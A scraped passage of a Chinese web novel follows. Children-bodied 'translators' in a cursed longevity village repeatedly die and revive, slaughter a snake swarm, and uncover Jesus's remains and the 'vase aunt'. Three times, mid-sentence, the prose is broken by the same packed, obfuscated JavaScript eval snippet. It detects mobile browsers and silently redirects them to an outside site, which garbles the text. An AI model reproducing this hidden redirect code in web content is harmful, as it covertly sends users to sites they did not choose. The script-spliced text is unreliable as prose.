还有比利。明明已经提前跑走了,为什么还会死在她们前面? “比利呢?”她问。 仔细听,她的声音还带着劫后余生的颤抖。 而还不等楚大强回答,稚嫩的狗叫声就从远处传来。 比利扑腾着腿,汪汪叫着冲过来,冲到林清原面前的时候稍缓了速度,一下子跳进了她的怀里。 林清原接住热乎乎的小狗,心里才算安定一些。 比利果然没事。再怎么说,比利也是战斗型“狗才”,林清原清醒过来之后,除去最开始的慌张,随后就默认比利也活着了。 她们二者是一体的,自信也是与生俱来的,她们不会质疑彼此的实力,意外也不会打破她们彼此间的信任。 她不再搭理楚大强,抱着比利,提起脚步,如一阵风,跑到了白仙贝“家”里。 白仙贝的状况确实很糟糕。 她缩在床上,眼神空洞,无意识地吼叫着,眼泪与涎水不停地滴落。 她“家里人”对此急的团团转,不知道自家小孩怎么好好的,睡了一觉起来,就突然疯了。 恰好这时候林清原到了。 “贝贝!” “原娃子?你怎么来了?仙贝她情况有些不好,要不然你……” 林清原没有管旁人的劝阻,直接来到了床上,把白仙贝搂在了怀里。 怀里的人瑟瑟发抖,不成语句的吼声穿过胸腔,震到了她的心里,把她的心撕成了一片又一片。 “贝贝,没事的,没事的,我还活着,你也活着!没事的!” 林清原用自己温暖的怀抱给予白仙贝活着的实感,她轻声安慰着,一字一句都是在引领白仙贝回到现实。 比利趴在白仙贝腿边,伸着小舌头舔着她的手。 过了许久,白仙贝的声音逐渐转为呜咽,她的手也终于有力气环抱回去了。 “小鹤……” 白仙贝含糊的哭声低低传来,如果不是林清原抱她够紧,恐怕会错过这声呼唤。 林清原一下又一下顺着白仙贝柔软的长发,说:“我在呢,别怕嗷。” 白仙贝又哭了一会儿,轻轻抬起头,看向林清原的脸。 她使劲眨了眨眼睛,泪水却始终糊着她的视线。 她又大哭着:“小鹤,我看不到你……你别走……” 林清原顾不上擦去自己的眼泪,只动作轻柔地擦去了白仙贝的泪水。 “我不走,我在呢,贝贝别怕。” 流的泪再多也没有关系,因为终归会被温柔的双手擦干净。 白仙贝渐渐镇定下来,乖乖的点头。 见白仙贝恢复了正常,林清原才终于忍不住自己的情绪了。 就算林清原再怎么冷静、再怎么在白仙贝面前担当,她也只是个十八岁的少年,还是亲眼见证了同伴死去、经历了自己的死亡的少年,确认了最放心不下的白仙贝的安危,她也终于可以喘口气了。 于是林清原嘴巴一撇,就大哭起来。 白仙贝抱着她,哭声此起彼伏。 比利看看这个,又看看那个,委屈巴巴地钻进了林清原的怀里,也嗷嗷哭了。 “小原!” “仙贝!老大!” 房间内又闯进来两个人。 新记明和成柳见到抱头痛哭的二人,都不约而同地松了口气。 还活着就好。 能哭就是好事! 他们没有打扰两个女孩的情绪,默默站在一旁,时不时抹抹脸,消化着自己的经历。 追着赶来的几家大人本来还想把自家小孩带回去吃饭,结果一看各个都在抹眼泪,都奇怪的不得了。 一问才知道,原来是仙贝做噩梦了,把其他几个来找她玩的孩子也吓着了。 哭笑不得的大人们没办法,就给几个孩子一人一个馒头先垫着,过会儿再回去吃饭。 几个小孩在屋里聊天,大人们在屋外聊天。 “这些娃娃都实诚,感情好的不得了,一会儿不见就急着要过来找。” “可不是嘛,就被魇了一下,仙贝一哭,把其他几个娃子也带哭了,呵呵呵。” “就这几个小孩,可不感情好嘛!” 林清原听了会儿,发现一个问题: “是不是村里只有我们四个是小孩?” 比利“汪汪”了两声。 林清原低头“哦”了一声:“还有比利这个小狗娃。” 每个人都回忆了一下,在记忆中确实没见过有别的小孩。 不过几人上一次的时候,吃了午饭就汇合了,汇合之后就出了村子,一直在化肥厂附近转悠,等回来也天黑了,几乎没怎么留在村里,因此也有可能是错过了别的小孩。 新记明出门和大人们唠嗑,用他那温和有礼的性子不动声色地套了话回来了。 “只有咱们几个是小孩。” 这个结果已经有了预想。 “长寿村……返老还童……” 林清原喃喃。 好像有什么隐藏的联系要浮出水面了。 “有个情况你们遇到了吗?”新记明问,“时间快进。” “果然你也遇到了!”白仙贝惊呼。 比利叫了两声,吸引其他人的注意力。 只见它飞快地跑到房间那头,然后定住,用惊恐的眼神看向房间另一头。 随后跑向房间另一头,再上半身直立,仅靠后腿行走,一副人走路的样子,缓步走了回来。 再然后,它又装回了那只被定住的小狗,僵硬着身子倒下,舌头一吐,嘎了。 它的表演很是生动,不用林清原解释,就能被别人看懂。 “所以比利也是因为遇到了时间快进和身体暂停,才会被抓回来杀死的。” 林清原摸了摸比利的脑袋。 还好,她们都复活了。 “莫名其妙的快进时间,莫名其妙的动不了,莫名其妙的复活……这次的‘故事’太莫名其妙了。” 成柳很苦恼,想了半天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190668|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他决定动用能力,找出一些提示。 不过他之前搜集到的材料都随着他的复活消失了,这回要重新收集。 就在几人出了门,打算去收集材料的时候,被各家家长强硬地带回了各自家里。 现在几人都是小孩身体,如果不动用能力,是压根反抗不过大人的。 左右就是吃一顿饭,吃完了,大人就不管小孩跑哪玩儿了。 于是几人在吃过饭后再度汇合。 重新收集材料的过程比上一次迅速许多。收集完了、找到隐蔽的地方了、准备开始施用能力了,天还大亮着。 成柳用从“家”里顺出来的菜刀划开了手指,伴随着逐渐聚集的鲜血,口中念念有词。 献祭很顺利,祭品一点点被土地吃掉,鲜血逐渐反哺上成柳的身体,黑色的符文在脸上渐渐涌现…… 突然,成柳紧紧皱起了眉头,大吐了一口黑血。 黑色符文暂停蔓延,献在地上的祭品也一瞬间爬上黑色火焰,转眼间被烧成了渣渣。 成柳的身形以肉眼可见的速度开始缩小。 “阿柳!” 白仙贝紧急使用能力,白色光芒大盛,包裹住了成柳的身体。 直到她脱力倒下,成柳才从鬼门关中回来,脸上的黑色符文尽数消失,只留下干涸在嘴边的血迹证明着刚才的凶险。 成柳脸色难看:“我的能力在这里不能用。” 新记明皱着眉头问:“怎么回事?” 林清原有个猜测:“是不是因为小孩身体?” 成柳缓缓点头。 “我的能力的副作用就是会变小,我本来以为只会是变成三岁上下,没想到在能力起效之后,我的生命力就开始急速消失!我这才紧急停止献祭,虽然受了反噬,但是总比直接丢命要好。” 他看向白仙贝,眼神温柔,充满了感激之情:“幸亏仙贝救援的及时,不然我……” 白仙贝扑上前抱住了他,身体因为哭泣在发抖: “别说……我不想再看到任何人死在我眼前了……呜呜……” 成柳虚弱地搂住白仙贝,抬头看向林清原:“老大,我的能力在这里没法用了。这个‘故事’太过凶险,我先想想有没有相应的典故。” 林清原盘腿坐下:“既然如此,先来讨论一下目前‘故事’里出现的疑点吧。” 新记明也席地而坐,说:“最大的疑点,就是复活。” 林清原点点头:“我们为什么能复活?我翻过别的‘故事’的资料,没有提到过有关‘复活’的。” 成柳说:“我也从来没经历过这样的事,唯一能沾边的是‘死而复生’,但是这不包括‘译者’。‘译者’在‘故事’中死亡,是真正的死亡,等到‘故事’结束了,才会被丢出去。如果死了还能复活,那‘编译故事’也不会压力大到需要官方队伍来强行压制了。” “难道我们经历的都是幻境吗?其实我们没有死过?” 白仙贝抬起头,语气惊喜。 新记明摇摇头:“不像。我在以前一个‘故事’里经历过幻境,完全以假乱真,但是只要是幻境,就一定会有中心点和契机——制造幻境的‘核心’是什么?又是什么时候进的幻境?” 他语气凝重:“如果我们真的经历的是幻境,那么我们接触到什么东西了吗?”他停顿了下,说:“我们接触到的东西不少,但是并没有明显的特殊性。而我的感知力不弱,如果是幻境,要么是这个幻境太强,连我都分不出来;要么是从一开始,我们就进入了幻境。” 白仙贝倒吸一口凉气。 林清原却说:“可能性不大。比起怀疑是幻境,我更倾向于是UFO本身的异常情况导致的加倍异常。” 比利低沉着嗓音“呜呜”了两声,冷不丁听了还有点渗人。 林清原翻了个白眼:“就你现在这小嫩狗的样子,想装鬼吓人也压不下嗓子好吧。” 白仙贝好奇:“比利说什么?” 林清原揉了揉比利的狗头,说:“它说,可能咱们现在是鬼。” 白仙贝咽了口唾沫:“那不相当于咱们还是死了吗?” 成柳插话道:“或许……” 几人的目光看向他。 “你们知道耶稣复活吗?” 49. 蛇群 林清原点头:“听说过。耶稣复活,就是圣诞日是吧。” 成柳扶额:“老大,不是。圣诞日是圣、诞、日啊,就是耶稣出生的日子。耶稣复活是在‘受难日’三天后发生的事。” 林清原“嘿嘿”一笑:“然后呢?” “或许我们的复活,和耶稣有关。在记载中,耶稣在‘受难日’死去,在三天后,天使前来宣布耶稣的复活。” 白仙贝问:“那这次复活,也是和耶稣复活一样,时间来到了三天后吗?” 新记明答:“当然不是。这次复活不仅是生命的回复,时间也回复了。联想经历过的‘时间快进’和‘身体暂停’,与其说是普通的复活,反而更像是‘倒带’。” “‘倒带’?我们难道是在‘录像带’里吗?”白仙贝越说越惊悚:“快进、倒带……难道我们变成了录像带里的影像?!” 成柳挠挠头:“我还是投耶稣复活一票。毕竟目前最直观的联系,就是耶稣。” 林清原说:“那验证一下耶稣有没有复活就知道了。如果他也复活了,那大概率就是因为他,我们才会复活。如果他没有复活……” 白仙贝觉得奇怪。“如果耶稣没有复活,那村子里的井是怎么回事?上回是因为耶稣创造了村里的井,给了能吃的水,可是这回院子里已经有井了。我看过了,井像是已经用过很多年的样子了。” “不对。”新记明出声。 他迅速分析着:“不论是官方给的资料、还是村民们的讲述,都是先有井、井中出现蛇、再有传教、再有花瓶姑姑的。而目前‘故事’进展的顺序,却是先有花瓶姑姑、再有蛇,然后才是耶稣和井的。而这一次,不论耶稣有没有复活,井已经先出现了。顺序完全是乱的。” “会不会是‘故事’里的‘扭曲’的影响?”成柳问。 “有可能。”林清原应着,眼中却闪过了更深的疑虑。 她总觉得哪里不对劲。 真的是扭曲吗?如果是,那是单纯的“故事”扭曲?还是外界的UFO的变化带来的扭曲呢? 林清原站起身:“先去找耶稣吧。如果复活和耶稣有关,那可能要找到耶稣出现的意义,才能找到‘核心’了。” 成柳忧心忡忡地站起来:“要小心。记载中耶稣的复活只有一次,之后他就永生了。如果我们这次再出现意外,还能不能复活,就是个未知数了。” 白仙贝深深吐了口气:“那就快点去吧。方室长说这次‘故事’只有20小时的时间,万一我们复活的时间也算在里面了,那时间很可能不够了。” 林清原想起进入“故事”后度过的“半天半夜”,点了点头:“说的没错。如果‘快进’的时间也算在计时里的话,恐怕咱们只剩下几个小时了。” 这个猜测让所有人都凝了心神。 时间紧,任务重。还有一大堆谜没有解开,再不抓紧找到“核心”,迎来的将是真正的“团灭”。 成柳向前迈步,刚踏出一步,脚无意间踩上了献祭的材料留下的灰渣,就“哎呦”了一声,连忙从衣服里取出了一直挂在脖颈上的绳子。 绳子的末端,是一颗被固定在玉质圆盘里的血红色小珠子。此时它红光正盛,成柳托着玉盘,也觉得分外烫手。 “血珠有反应了?”白仙贝迅速反应过来。 这血珠还是之前“白雪公主”那个“故事”里,森林女巫交给成柳的,作用是可以检测帮助成柳解除“诅咒”的材料。 成柳在测试过血珠可以随意在“故事”和现实中携带后,就打了个玉盘,托高僧开过光后嵌在一起,做成项链戴着了。 女巫说解除诅咒的材料有四个。 过去了几个月,成柳又是进“故事”,又是接委托,稀奇的材料经手不少,也只找到了一个血珠有感应的材料。他都已经做好继续拖长战线的准备了,没想到在这时会突然再次有了反应。 成柳仔细摸索着。 这血珠的感应条件很苛刻,附近的材料没有用,必须是他本人接触到了这个材料才可以。 所以他把自己上下摸了个遍,连头顶都让其他几人看了会不会有虫子、鸟屎之类的,却依旧没发现有可用的材料。 他懵了:“是我出现幻觉了?” 可是血珠的发光发热做不得假。 最后还是细心的白仙贝发现成柳脚下踩到了碎渣。 “会不会是这个?” 白仙贝蹲下身,指给他看。 成柳也蹲了下来,伸手摸上了灰渣。 手摸上的一瞬间,他就确定了。 他的脸上浮现出喜色:“就是这个!” 林清原和新记明也蹲下了,几个人头碰头地看成柳手里的渣渣。 “这是什么材料?”林清原问。 成柳把地上的碎渣摸了个遍,最后得出确切的结论:“是经过能力炼化的人面花。” 林清原想的更多:“血珠对人面花没有反应,经过献祭的人面花却可以?那你的能力在这里不能用,出去了也不能用,就这么点儿被炼化过的人面花足够吗?” 成柳小心翼翼地将材料收集起来,放到怀里。 他爽朗一笑:“没有关系,我之后可以再去一趟化肥厂附近摘花,如果只是要炼化人面花的话,使用能力的反噬完全在可控范围内。” 几人按照记忆中的路线前往玉米地。 刚来到耶稣在的地方,林清原就呆住了。 怎么会有这么多蛇? 原本在玉米地里有块凹凸不平的空地,耶稣就坐在上面。 而现在耶稣不见踪影,取而代之的是诡异的蛇群。 数不清的蛇聚集在这里,它们的身体在阳光下闪烁着冰冷的光泽,鳞片摩擦发出细微的沙沙声;它们的信子不停地吐露,仿佛在感知周围的气息,又像是在传递某种无声的信息。偶尔有几条蛇抬起头,露出尖锐的毒牙,似乎是在警告。然而它们并没有发动攻击,如同忽视彼此一样,忽视了到来的几个人。它们只是专注地在这片土地上爬行、缠绕,身体时而交织、时而重新覆上,在蛇群的中心处,纠缠得尤为紧密,微微突起,形成了一座蠕动的山丘。 空气中弥漫着一种令人窒息的腥味,紧张感禁锢了所有人的脚步。 “蛇群中心是不是有什么东西?”白仙贝轻声问。 那处异常大家都发现了,只是没有人轻举妄动。 尽管蛇群现在是一副相安无事的样子,但是一旦靠近,就很可能遭到围攻。 新记明眼睛盯着蛇群,向成柳伸出手:“把菜刀给我。” 成柳想也不想的就给了。 林清原问他:“你要做什么?” “想要知道蛇下面是什么的话,把蛇杀光就行了。我虽然手边没有剑,菜刀也是利器,不顺手,但足矣。” 新记明语气淡淡,但是不难听出其中的笃信。 他一向是隐在后方的成员,可靠、强大,却也低调。这是他第一次毫不掩饰地展露自己的锋芒,尽管他手里只有一把豁口的菜刀,尽管他现在的身体只有四五岁,尽管他还是个看起来行动不便的小胖墩。 新记明扭头看向林清原,问道:“可以吗?清原老大?” 他的语调扬起,虽是询问,却显得游刃有余。 他了解林清原,正如他了解自己。 他们都是对自己的实力绝对自信的人,这种自信是伴随着十数年如一日的训练根深蒂固的。他们有着近似的思考方式,因此他能想到的,林清原也能想到;一方暂时想不到的,另一方也能迅速补充。 蛇群的聚集一定是有原因的。在绝对的实力面前,不需要智取了。 林清原笑了一下,问成柳:“圣经中关于蛇有什么说法?” 成柳回答:“主要都是邪恶、诱惑的代名词。” 林清原朝蛇群的方向轻轻抬手:“请。” 话音刚落,新记明就向前冲去。 林清原拉着白仙贝和成柳,一闪身离开了这片空地,给足了新记明发挥的空间。 比利则刨着两只爪子,围着几人绕了一圈。 在它的巨力下,土地如同柔软的豆腐被轻易塑形,几秒时间就垒成了一圈屏障,既能保护离开战场的几人,又能不遮挡视线,让圈内的几人看到战况。 仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196080|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅是这垒起屏障的几秒钟,新记明就已经杀掉了三分之一的蛇。 黑蛇争先恐后地朝他扑去,却伤不到他分毫。他的脚点在攀咬的蛇头上,只微微将其压低了一瞬,就转到了别的地方。而被迫低下了头的黑蛇,永远也抬不起头了——它的身子已经被从三寸[1]处斩断,蛇头掉落在地,和其他蛇的尸体堆在一起,成为了这场注定了结果的战斗的战利品。 菜刀并不算特别锋利,但是刀锋在手腕的翻转中在阳光下闪烁着刺眼的光芒,所过之处皆是凌冽的寒意,一招一式都带着致命的精准。 没有任何动作能逃过新记明的眼睛,也没有任何一条蛇能逃过他的出手。 蛇群的攻击如潮水般涌来,但他却像一片飘舞的雪花,行云流水的动作间涌动的是刺骨的杀意。他的眼、他的身体、他手中的菜刀,共同组成了收割性命的利刃。 林清原看着,脸上的笑意愈发明显。 旁人认不出,她又怎么会认不出。 新记明的步伐有序,触地即起,落脚、旋腿的姿势,都是那么轻盈又恰到好处,十分熟悉。 正是林家“飞鹤腿”的基础招式。 几个月来,林清原和新记明时不时切磋,互为“老师”,各自都把对方的武术学了个基础,再融入到了自己的风格中。 如今一“验收”,倒有点“吾家弟子初长成”的意思了。 愈来愈多的蛇从四面八方加入战场,而新记明的动作没有丝毫停顿,仿佛杀一百条蛇,与杀一条蛇,没有什么不同。 十分钟后,最后一只蛇死去。 新记明缓缓吐气,浑身沾满血污,眼神却很清明。他抬头望向屏障里的林清原,唇角绽出一丝微笑:“结束。” 林清原几人的屏障周围也有不少蛇的尸体。这不是新记明做的,是林清原和比利做的。 涌来的蛇太多,总有一部分到了屏障周边。 林清原和比利看到一条杀一条,轻松制服。白仙贝一直准备着的治疗能力都没有用上的机会。 比利把土墙拍散,率先跑到了蛇堆里。 它左闻闻,右闻闻,确定没有遗漏了,才扒开堆起的蛇尸,露出了掩埋在下面的东西。 显露在几人面前的是一架尸骨。 成柳上前查看,半晌犹疑地说道:“这像是耶稣。” 林清原指着骨架的手部问:“不是说耶稣的手脚都被钉子穿透了吗?可是这骨头的手和脚都没有伤口啊?” 成柳摸了摸手骨、脚骨和肋骨[2],全都完好无损,没有一点伤处愈合的痕迹。 可观察到的头骨,又是明显的西方人的骨骼形态。 就在这时,比利从土里扒出来了新的东西。 新的东西甫一出现,这具尸骨的身份就确定了。 就是耶稣。 他的衣服破破烂烂,埋在土地里,如今被扒出来,染了蛇血,变得更为失色。 “耶稣死了……”白仙贝问:“他是复活了再死的,还是根本就没有复活?” 成柳看着地上的尸骨,视线转向遍地的蛇尸,眉头越皱越深。 “蛇……”他轻声喃喃。 林清原开口道:“这个‘故事’的重点,是耶稣、蛇,还有花瓶姑姑。目前耶稣和蛇都已经死去,只剩下花瓶姑姑了,那接下来调查的重点也在花瓶姑姑身上了。” 从耶稣复活上找到“核心”的路子已经行不通,她们只能沿着仅剩的线索去找。 新记明补充道:“还有井。我去看看每一户人家院子里打的井,说不定能找到什么新的东西。” “那咱们换换。我和比利去查井,你和贝贝、阿柳去祠堂。我和比利行动快,进出井也更方便,你的武功用在闯祠堂上更好。” 林清原的话刚说完,成柳就接上了:“我留在这。耶稣和蛇,很明显是对应圣经里的形象。而我现在有一些猜测,还需要验证一下。” 比利默默站到了成柳身边,俨然是个小护卫者。 林清原点头:“好。那比利就跟着你。行动吧。” 然而安排刚定好,几人正准备出发,时间便再次被拨动了。 50. 死亡与复活 看到眼前突然出现了一堆村民的时候,林清原心里就觉得要糟糕。 村民们又变回了那副被操控的模样,在无声的快进中表演默剧。 村民们发现了蛇堆里的尸骨,夸张地跳舞,喜气洋洋地将尸骨和几个小崽子抬回了村子,放到了祠堂院子里。 林清原目眦欲裂地看着眼前熟悉的一幕。 难道又要再次死去了吗? 她拼命调动全身的力量去反抗,但是这同上次她被魔剑控制不同,她此时就是只能按照剧情行动,她不再是她自己,她是被困在小孩身体里的傀儡。 ——等等! 被困在小孩身体里的傀儡? 林清原脑海中的想法噼里啪啦的闪过,迅速连接在了一起。 她回想起刚进入这次“故事”时,身体如面团般塑形,又想起复活时身体如窒息般痛苦—— 原来如此! 怪不得她们没法控制自己的身体,会在特定时候跟随剧情表演默剧——原来不是她们变回了小孩模样,而是她们这几个成年人(还有只成年狗)被困在了小孩(和小狗)的身体里! 某种意义上,白仙贝猜测的,她们是“录像带中的影像”,也没说错。 正是因为小孩的身体是属于这个村子、属于这个“故事”的,所以她们这几个依靠小孩身体行动的人,也被迫“属于”了这个“故事”! 至于为什么会触发“快进”剧情,她似乎也快要想到了。 还差一点…… “快进”停止了。 林清原被刺眼的阳光打断了思绪。 她这才注意到,第二日的朝阳已经升起。 阳光平等的照耀在院里每个人的身上。不论是村民、还是万事屋的成员,此刻都沐浴在阳光下,接受着温暖的抚慰。 唯独祠堂,长长的房檐将阳光挡在门外,隔绝着外界的侵扰,保持着它的安静与阴冷。 林清原看向祠堂紧闭着的大门。 在快进的剧情中,村民们兴高采烈地将尸骨放到院子里后,村长就进入了祠堂里。过了一会儿他出来了,一扬手,村民们就合力把尸骨抬了进去,然后就锁上了祠堂的大门。 星月旋转,一整夜的时间,十几秒就过去了。 就在林清原考虑着要不要闯进祠堂里的时候,祠堂大门上落的门栓自动掉落了。 破旧的大门扯着破锣嗓子打开了,然后从里面走出来了一个人。 林清原惊呆了。 天使!这是天使! 天使有着棕色的长而卷的头发,温和而清澈的眼睛,富态而可爱的身躯。他抬起短小的腿,跨过门槛,从祠堂的阴影中来到了院中的阳光下。 虽然他的身后没有翅膀,但是没有人会怀疑他的圣洁。他的存在仿佛自带一种无形的光辉,即使没有羽翼的装饰,他的纯净与崇高依然清晰可辨。 短短几步,他就像是从悲苦的地狱中悠然离开,来到了充满着爱与阳光的天堂——他所在的地方就是天堂,他在哪里,天堂就在哪里。 所有见到他的人都会有这种感觉:他是天意的传话者,是解救困苦的守护者,也是传递希望与自由的指引者。 激动的心绪回荡在每个人的胸间,鼓动着他们的热血。他们带着最崇高的敬意,齐齐喊出: “阿门!” 这句话一喊出,林清原立刻意识到了眼前这个天使的身份。 这是耶稣。 这是小孩形态的耶稣! 村民们在愣怔过后,就又恢复到了空洞的模样。他们有的围在了耶稣身旁,有的进入了祠堂。 “天神!” 他们喊。 “耶稣……?”林清原轻声喊着。 她的声音夹在村民们的声音中毫不起眼,耶稣却直直地看了过来,露出了一个柔和的微笑。 进入祠堂里的村民惊慌地跑出来,大吵大叫:“花瓶姑姑死了!” 村民们陷入骚动,纷纷进入祠堂。 “啊!花瓶姑姑的肚子怎么被剖开了!” “花瓶姑姑!花瓶姑姑!” 混乱的推攘中,花瓶姑姑的尸体不知被谁踢到了门边,咕溜溜地撞到了门槛,软软地滚了回去,永远的留在了地狱里。 比利冲着祠堂“汪汪”地叫着。 林清原没有制止比利的威胁。万事屋的所有人在这一刻都做好了战斗的准备。 村民们悲愤地跑了出来,抓住耶稣,就要令其偿命。 林清原当机立断要救下耶稣。 然而事与愿违。 万事屋的成员再次动弹不得,僵硬地倒在了地上。 小孩形态的耶稣没有挣扎,任由村民们将他掷在坚硬的地上,又掏出尖锐的农具刺入他的身体。 他的鲜血泼洒在每个人的身上,带来不合时宜的滚烫。 在这场单方面的虐杀中,耶稣开口了。 他说:“豺狼必与绵羊羔同居,豹子与山羊羔同卧;少壮狮子与牛犊并肥畜同群;小孩子要牵引它们。[1]” 林清原等人的心里仿佛吹入了如沐的春风,她们的心变得宁静。 他说:“小孩子是神的赐福,他们纯善,是天父的使者。[2]” 林清原等人的耳边仿佛吹响了天国的号角,她们的心充满了力量。 他说:“小孩子的情感如此充沛,他们吃奶的口中有着令仇恨哑口无言的能力。[3]” 林清原等人的口中仿佛塞满了美妙的蜜糖,她们的心被摆上了纯稚的天平。 三句话毕,耶稣合上了他的双眼。 在灿烂的阳光下,狰狞如恶鬼的村民们抹去耶稣流出的血痕,林清原等人则像是彻底变为了稚童,忘却一切,张嘴大哭;连比利都扬起了脖子,大颗的泪滴从它的眼中滚落[4],用呜咽的嚎叫声唱响送别耶稣的圣歌。 黑蛇再度出现。 它们从院外蜿蜒而来,目标明确,只有正在嚎哭的几个崽子。 村民们惧怕复数的黑蛇,尖叫着跑走了。 于是黑蛇游上孩子们的身体,将他们严密覆盖。哭声被包裹得听不真切,渐渐减弱,不到两分钟,便彻底消失。 随着黑蛇们的悄然退去,祠堂内只剩下了几具尸体,默声祭奠着死亡。 ——再次醒来的时候,林清原已经能立刻适应当前的处境了。 如她所想,她又一次复活,回到了初始的地方。 而她这次没有再等待楚大强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222884|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和同伴的到来,脚步一转,就跑去了祠堂。 这时候的祠堂空荡荡,还不到送饭的时间,不会有村民过来。 林清原推开大门,悄悄闪身进去,观察花瓶姑姑。 花瓶姑姑这次没有被大门的声响吵醒,她安静地待在花瓶里,垂着头,没有丝毫动静,似乎已经死去。 林清原把花瓶姑姑的脸记在了心里,就退了出去,合好门,绕路到另一边回了村长家。 回去的路上,她时不时想起花瓶姑姑凄惨的模样,心中被难过填满,根本忍不住情绪,哭哭啼啼了一路。 村长的老婆见到林清原,心疼地抱住了她:“小原,你跑哪去了?怎么哭着回来了?谁欺负你了?你爷爷还去找你了,你没见到他?” 林清原抽噎着问:“奶奶,现在几点了?” 奶奶估摸了一下:“晌午了。” 林清原又问:“奶奶,花瓶姑姑是什么时候出现的?” 奶奶还是回答的含糊:“好多年咯。” “那化肥厂是什么时候在这儿的?” “还要好多年咯。” 林清原不哭了,叹了口气。 畜村的人一向对年份不敏感,想问出具体的时间,更是难上加难。 “那井是什么时候打的?谁打的?” 奶奶想了很久,还是没想起来是什么时候打的井。 但是打井人,她还记得。 “花瓶姑姑打的啊。” 这和第一回耶稣打井的答案不同。 谈起花瓶姑姑,奶奶的话多了些。 “你那时候还没出生,都不知道。以前工厂建起来的时候可热闹了,给的钱多,好多人都去那边上班了。结果后来把土地公公惹恼了,地里就不给种粮食咯,水也不能喝了,身上还这疼那疼的,犯了错咯。 “然后花瓶姑姑就出来救人了。救人是大功德,也是大灾,花瓶姑姑死了两个,才打出来井,给了吃水。不过好在这灾扛过去了,咱们都能活的长长久久咯。” 土地公公?功德? 猛的一听这充满中国神话色彩的词语,林清原有些恍如隔世。 她的心神全被耶稣占据了,这时候才反应过来:这不是“西方故事”,这是“中西结合的故事”啊! “你说‘花瓶姑姑’死了两个,奶奶你还记得是什么时候的事情吗?你好好想想,能记起来多少都行!” 奶奶瞥了林清原一眼,一副“孩子怎么变傻了”的表情:“你知道几个花瓶姑姑啊?前两个花瓶姑姑在的时候你都没出生,你出生之后,花瓶姑姑都已经第三个了。” 奶奶看到林清原愣在原地的样子,摇了摇头,去摆桌子了。 三个花瓶姑姑…… “呦,柳娃子来了?” 院门外传来了楚大强的声音。 成柳急匆匆地跑进了院子里。他怀里还抱着比利。 比利见到林清原,就“嗷呜嗷呜”地跳到了她的怀里,翻来覆去地打滚,黏人的很。 成柳凑到林清原耳边,轻声说:“不要喝水!带汤的也不行!等会儿去村口集合!” 说完,他就又急匆匆地跑走了,林清原追出去,看他跑的方向,是新记明的“家”。 51. 你怎么可以不记得我了! 林清原低头和比利说悄悄话:“你听到了吗?不要喝水喝汤。” 比利哼哼唧唧的应了。看来是比她先得知了这个消息。 林清原看着怀中软乎乎的小狗,高兴极了,抱起来猛亲了几口,然后举着小狗给村长夫妇看:“看!小狗!超可爱哒!” 老妇人“呵呵”笑了,招呼她过来吃饭。 不过林清原心里记着成柳刚才的嘱托,也想快点去集合,就说不吃了。 楚大强一把把要跑出去的林清原拽回来了。 “吃饭了!还要跑哪儿玩!” 林清原胳膊被拽疼了,一撇嘴就哭了。 “不要不要!我不吃饭!我要出去玩!!!” 林清原非常自然地往地下一躺,嗷嗷叫着打滚,那小胳膊腿蹬的叫一个熟练。 比利也在地上乱扑腾乱叫,一人一狗吵得要死。 楚大强要把林清原拉起来,结果她一扭身滚远了。 老妇人拦住楚大强的动作,对林清原说:“小丫头多大的人了还撒泼!呵呵,闹腾了有精神!你别在地上滚了,衣服都搞脏了!想玩儿就去玩儿吧,奶奶给你把饭留锅里,你饿了回来吃啊!” “谢谢奶奶!” 林清原一骨碌爬起来,抱着比利跑掉了。 到了约定好的地方,成柳问林清原:“没喝水没喝汤吧?” 林清原使劲儿点头:“没有!” 她又按着比利的狗头点了点:“比利也没有喝,对吧?” 比利不满意地哼了一声。 成柳的表情有些复杂,他想说什么,余光看到了正往这边走的白仙贝,激动地迎了过去,一把拉住了她的手,牵着她走了过来。 边走还边夸: “贝贝!你好乖,是不是听我的话没有喝水呀?真棒!” 白仙贝的小脸皱皱的,眼睛一眨就要掉下泪来:“你怎么叫我‘贝贝’呀?小鹤才叫我‘贝贝’呢。” 成柳有点慌张:“别哭,你不喜欢我这么叫你,我就不叫了。”说完,他又不甘心,小声说道:“可是我也想叫你贝贝……” 白仙贝挣脱开他的手,抱住林清原,扭头对他说:“不可以的,妈妈说过不可以随便让别人喊我‘贝贝’,那是和我最亲最亲的人才能喊的名字。” 她扬起小脸,眼睛亮晶晶地看着林清原,笑容甜甜的:“我最喜欢小鹤了,小鹤叫我‘贝贝’我好开心!” 林清原也笑的甜甜的:“我也最喜欢贝贝了!” 比利舔了舔林清原的脸,林清原就追加了一句:“我也最喜欢比利了!” 成柳站在一旁,心里酸酸的,有点想哭。 他赶忙揉了揉眼睛,努力克制着自己不要真的哭出来。 